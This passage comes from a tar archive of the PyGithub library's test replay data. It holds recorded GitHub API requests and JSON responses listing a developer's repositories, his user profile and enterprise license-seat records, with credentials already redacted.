jacquev6","id":327146},"name":"DrawSyntax","language":"C++","description":"Draw syntax diagrams from EBNF grammars. API in C++ and Python. Try it online.","ssh_url":"git@github.com:jacquev6/DrawSyntax.git","pushed_at":"2011-11-27T14:00:32Z","created_at":"2010-07-10T08:39:56Z","id":767392,"html_url":"https://github.com/jacquev6/DrawSyntax","full_name":"jacquev6/DrawSyntax"},{"clone_url":"https://github.com/jacquev6/QuadProgMm.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:39:06Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/QuadProgMm","url":"https://api.github.com/repos/jacquev6/QuadProgMm","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/QuadProgMm","git_url":"git://github.com/jacquev6/QuadProgMm.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"QuadProgMm","language":"C++","description":"A C++ interface to specify quadratic problems by C++ expressions of your variables. Try it online.","ssh_url":"git@github.com:jacquev6/QuadProgMm.git","pushed_at":"2012-04-16T18:39:05Z","created_at":"2010-07-10T08:36:57Z","id":767386,"html_url":"https://github.com/jacquev6/QuadProgMm","full_name":"jacquev6/QuadProgMm"},{"clone_url":"https://github.com/jacquev6/Boost.HierarchicalEnum.git","mirror_url":null,"has_downloads":false,"watchers":2,"updated_at":"2012-02-20T12:43:24Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/Boost.HierarchicalEnum","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","git_url":"git://github.com/jacquev6/Boost.HierarchicalEnum.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Boost.HierarchicalEnum","language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Boost.HierarchicalEnum.git","pushed_at":"2011-11-27T14:00:23Z","created_at":"2010-07-10T08:32:12Z","id":767382,"html_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","full_name":"jacquev6/Boost.HierarchicalEnum"},{"clone_url":"https://github.com/jacquev6/ViDE.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-19T16:35:46Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/ViDE","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1488,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/ViDE","git_url":"git://github.com/jacquev6/ViDE.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"ViDE","language":"Python","description":"Vincent's Development Environment","ssh_url":"git@github.com:jacquev6/ViDE.git","pushed_at":"2012-04-19T16:35:45Z","created_at":"2010-07-10T07:33:24Z","id":767343,"html_url":"https://github.com/jacquev6/ViDE","full_name":"jacquev6/ViDE"}] http GET my.enterprise.com None /path/to/github/users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4960'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2b9d2167029cc33666d02e0b0e95f2b9"'), ('date', 'Sat, 26 May 2012 11:08:21 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","disk_usage":17080,"public_gists":2,"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","public_repos":11,"hireable":false,"private_gists":5,"plan":{"private_repos":5,"collaborators":1,"name":"micro","space":614400},"bio":"","company":"Criteo","blog":"http://vincent-jacques.net","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","total_private_repos":5,"email":"vincent@vincent-jacques.net","collaborators":0,"followers":13,"name":"Vincent Jacques","owned_private_repos":5,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24,"html_url":"https://github.com/jacquev6"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Enterprise.testSpecificPort.txt0000644000175100001660000004374014756101563024340 0ustar00runnerdockerhttp GET my.enterprise.com 8080 /user/repos {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4961'), ('content-length', '17939'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"3d6116bc986eb0698f0dfe92a01b2437"'), ('date', 'Sat, 26 May 2012 20:19:00 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/jacquev6/TestPyGithub.git","mirror_url":null,"has_downloads":false,"watchers":1,"updated_at":"2012-05-26T09:55:27Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://foobar.com","url":"https://api.github.com/repos/jacquev6/TestPyGithub","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/TestPyGithub","git_url":"git://github.com/jacquev6/TestPyGithub.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"TestPyGithub","language":null,"description":"Repo created by PyGithub","ssh_url":"git@github.com:jacquev6/TestPyGithub.git","pushed_at":"2012-05-26T09:55:27Z","created_at":"2012-05-26T09:55:27Z","id":4454027,"html_url":"https://github.com/jacquev6/TestPyGithub","full_name":"jacquev6/TestPyGithub"},{"clone_url":"https://github.com/jacquev6/django.git","mirror_url":null,"has_downloads":true,"watchers":1,"updated_at":"2012-04-28T11:06:20Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://www.djangoproject.com/","url":"https://api.github.com/repos/jacquev6/django","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":48476,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/django","git_url":"git://github.com/jacquev6/django.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"django","language":"Python","description":"The Web framework for perfectionists with deadlines. Now on GitHub.","ssh_url":"git@github.com:jacquev6/django.git","pushed_at":"2012-04-28T04:05:15Z","created_at":"2012-04-28T11:06:20Z","id":4166730,"html_url":"https://github.com/jacquev6/django","full_name":"jacquev6/django"},{"clone_url":"https://github.com/jacquev6/PyGithub.git","mirror_url":null,"has_downloads":true,"watchers":14,"updated_at":"2012-05-26T18:33:41Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":2,"size":412,"private":false,"open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T11:25:48Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"},{"clone_url":"https://github.com/jacquev6/developer.github.com.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-08T08:36:28Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/developer.github.com","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":152,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/developer.github.com","git_url":"git://github.com/jacquev6/developer.github.com.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"developer.github.com","language":"Ruby","description":"","ssh_url":"git@github.com:jacquev6/developer.github.com.git","pushed_at":"2012-05-08T08:36:28Z","created_at":"2012-02-05T18:22:26Z","id":3361136,"html_url":"https://github.com/jacquev6/developer.github.com","full_name":"jacquev6/developer.github.com"},{"clone_url":"https://github.com/jacquev6/acme-public-website.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-22T18:24:49Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/acme-public-website","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":120,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/acme-public-website","git_url":"git://github.com/jacquev6/acme-public-website.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"acme-public-website","language":null,"description":"","ssh_url":"git@github.com:jacquev6/acme-public-website.git","pushed_at":"2011-12-07T20:11:17Z","created_at":"2011-12-07T20:00:40Z","id":2935252,"html_url":"https://github.com/jacquev6/acme-public-website","full_name":"jacquev6/acme-public-website"},{"clone_url":"https://github.com/jacquev6/C4Planner.git","mirror_url":null,"has_downloads":true,"watchers":1,"updated_at":"2012-02-16T21:51:01Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/C4Planner","url":"https://api.github.com/repos/jacquev6/C4Planner","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":4716,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/C4Planner","git_url":"git://github.com/jacquev6/C4Planner.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"C4Planner","language":"Python","description":"Caesar IV: anticipate your city","ssh_url":"git@github.com:jacquev6/C4Planner.git","pushed_at":"2011-11-27T20:51:06Z","created_at":"2011-08-24T08:30:55Z","id":2260441,"html_url":"https://github.com/jacquev6/C4Planner","full_name":"jacquev6/C4Planner"},{"clone_url":"https://github.com/jacquev6/Hacking.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-24T13:55:11Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Hacking","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":128,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Hacking","git_url":"git://github.com/jacquev6/Hacking.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Hacking","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/Hacking.git","pushed_at":"2012-04-17T19:09:56Z","created_at":"2011-07-02T15:59:51Z","id":1988081,"html_url":"https://github.com/jacquev6/Hacking","full_name":"jacquev6/Hacking"},{"clone_url":"https://github.com/jacquev6/vincent-jacques.net.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-29T15:20:52Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"vincent-jacques.net","url":"https://api.github.com/repos/jacquev6/vincent-jacques.net","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":172,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/vincent-jacques.net","git_url":"git://github.com/jacquev6/vincent-jacques.net.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"vincent-jacques.net","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/vincent-jacques.net.git","pushed_at":"2012-04-29T15:20:52Z","created_at":"2011-07-02T07:08:56Z","id":1986874,"html_url":"https://github.com/jacquev6/vincent-jacques.net","full_name":"jacquev6/vincent-jacques.net"},{"clone_url":"https://github.com/jacquev6/Contests.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-02-12T07:18:09Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"Contests","url":"https://api.github.com/repos/jacquev6/Contests","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":448,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Contests","git_url":"git://github.com/jacquev6/Contests.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Contests","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/Contests.git","pushed_at":"2011-11-14T20:19:48Z","created_at":"2011-06-27T11:55:34Z","id":1959919,"html_url":"https://github.com/jacquev6/Contests","full_name":"jacquev6/Contests"},{"clone_url":"https://github.com/jacquev6/Candidates.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-11T13:50:37Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Candidates","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":700,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Candidates","git_url":"git://github.com/jacquev6/Candidates.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Candidates","language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Candidates.git","pushed_at":"2012-05-11T13:50:36Z","created_at":"2011-04-09T18:24:08Z","id":1592290,"html_url":"https://github.com/jacquev6/Candidates","full_name":"jacquev6/Candidates"},{"clone_url":"https://github.com/jacquev6/Tests.git","mirror_url":null,"has_downloads":true,"watchers":0,"updated_at":"2012-04-28T10:16:42Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Tests","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":3032,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Tests","git_url":"git://github.com/jacquev6/Tests.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Tests","language":"C","description":"Various tests","ssh_url":"git@github.com:jacquev6/Tests.git","pushed_at":"2012-04-01T04:24:47Z","created_at":"2011-03-28T20:24:02Z","id":1538471,"html_url":"https://github.com/jacquev6/Tests","full_name":"jacquev6/Tests"},{"clone_url":"https://github.com/jacquev6/DrawTurksHead.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:38:55Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawTurksHead/","url":"https://api.github.com/repos/jacquev6/DrawTurksHead","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":3232,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawTurksHead","git_url":"git://github.com/jacquev6/DrawTurksHead.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawTurksHead","language":"C++","description":"A tool to draw Turk's Head Knots. Try it online","ssh_url":"git@github.com:jacquev6/DrawTurksHead.git","pushed_at":"2012-04-16T18:38:54Z","created_at":"2010-07-10T08:54:09Z","id":767403,"html_url":"https://github.com/jacquev6/DrawTurksHead","full_name":"jacquev6/DrawTurksHead"},{"clone_url":"https://github.com/jacquev6/DrawSyntax.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2011-11-27T14:00:34Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawSyntax/","url":"https://api.github.com/repos/jacquev6/DrawSyntax","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawSyntax","git_url":"git://github.com/jacquev6/DrawSyntax.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawSyntax","language":"C++","description":"Draw syntax diagrams from EBNF grammars. API in C++ and Python. Try it online.","ssh_url":"git@github.com:jacquev6/DrawSyntax.git","pushed_at":"2011-11-27T14:00:32Z","created_at":"2010-07-10T08:39:56Z","id":767392,"html_url":"https://github.com/jacquev6/DrawSyntax","full_name":"jacquev6/DrawSyntax"},{"clone_url":"https://github.com/jacquev6/QuadProgMm.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:39:06Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/QuadProgMm","url":"https://api.github.com/repos/jacquev6/QuadProgMm","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/QuadProgMm","git_url":"git://github.com/jacquev6/QuadProgMm.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"QuadProgMm","language":"C++","description":"A C++ interface to specify quadratic problems by C++ expressions of your variables. Try it online.","ssh_url":"git@github.com:jacquev6/QuadProgMm.git","pushed_at":"2012-04-16T18:39:05Z","created_at":"2010-07-10T08:36:57Z","id":767386,"html_url":"https://github.com/jacquev6/QuadProgMm","full_name":"jacquev6/QuadProgMm"},{"clone_url":"https://github.com/jacquev6/Boost.HierarchicalEnum.git","mirror_url":null,"has_downloads":false,"watchers":2,"updated_at":"2012-02-20T12:43:24Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/Boost.HierarchicalEnum","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","git_url":"git://github.com/jacquev6/Boost.HierarchicalEnum.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Boost.HierarchicalEnum","language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Boost.HierarchicalEnum.git","pushed_at":"2011-11-27T14:00:23Z","created_at":"2010-07-10T08:32:12Z","id":767382,"html_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","full_name":"jacquev6/Boost.HierarchicalEnum"},{"clone_url":"https://github.com/jacquev6/ViDE.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-19T16:35:46Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/ViDE","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1488,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/ViDE","git_url":"git://github.com/jacquev6/ViDE.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"ViDE","language":"Python","description":"Vincent's Development Environment","ssh_url":"git@github.com:jacquev6/ViDE.git","pushed_at":"2012-04-19T16:35:45Z","created_at":"2010-07-10T07:33:24Z","id":767343,"html_url":"https://github.com/jacquev6/ViDE","full_name":"jacquev6/ViDE"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/EnterpriseAdmin.testGetConsumedLicenses.txt0000644000175100001660000005511614756101563026622 0ustar00runnerdockerhttps GET api.github.com None /enterprises/beaver-group/consumed-licenses {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 27 Jul 2023 05:05:44 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cec25a870aded5f7c26c9e549d31f9b91d887121b0f77b72446fe2f4a8eaf6d2"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'admin:enterprise, manage_billing:enterprise, read:enterprise'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4844'), ('X-RateLimit-Reset', '1690436729'), ('X-RateLimit-Used', '156'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '3724:4B9F:2D3DC0:2F8903:64C1FB27')] {"total_seats_consumed":102,"total_seats_purchased":103,"users":[{"github_com_login":"beaver-user001","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user001","github_com_member_roles":["beaver-admin-dev:Owner","beaver-external:Owner","beaver-general:Owner","beaver-training:Owner","beaver:Owner"],"github_com_enterprise_roles":["Owner","Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user002","github_com_name":"beaver-user002","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user002","github_com_member_roles":[],"github_com_enterprise_roles":["Pending outside collaborator invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user003","github_com_name":"beaver-user003","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user003","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user003@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user004","github_com_name":"beaver-user004","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user004","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user005","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user005","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user006","github_com_name":"beaver-user006","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user006","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user007","github_com_name":"beaver-user007","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user007","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user008","github_com_name":"beaver-user008","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user008","github_com_member_roles":[],"github_com_enterprise_roles":["Outside 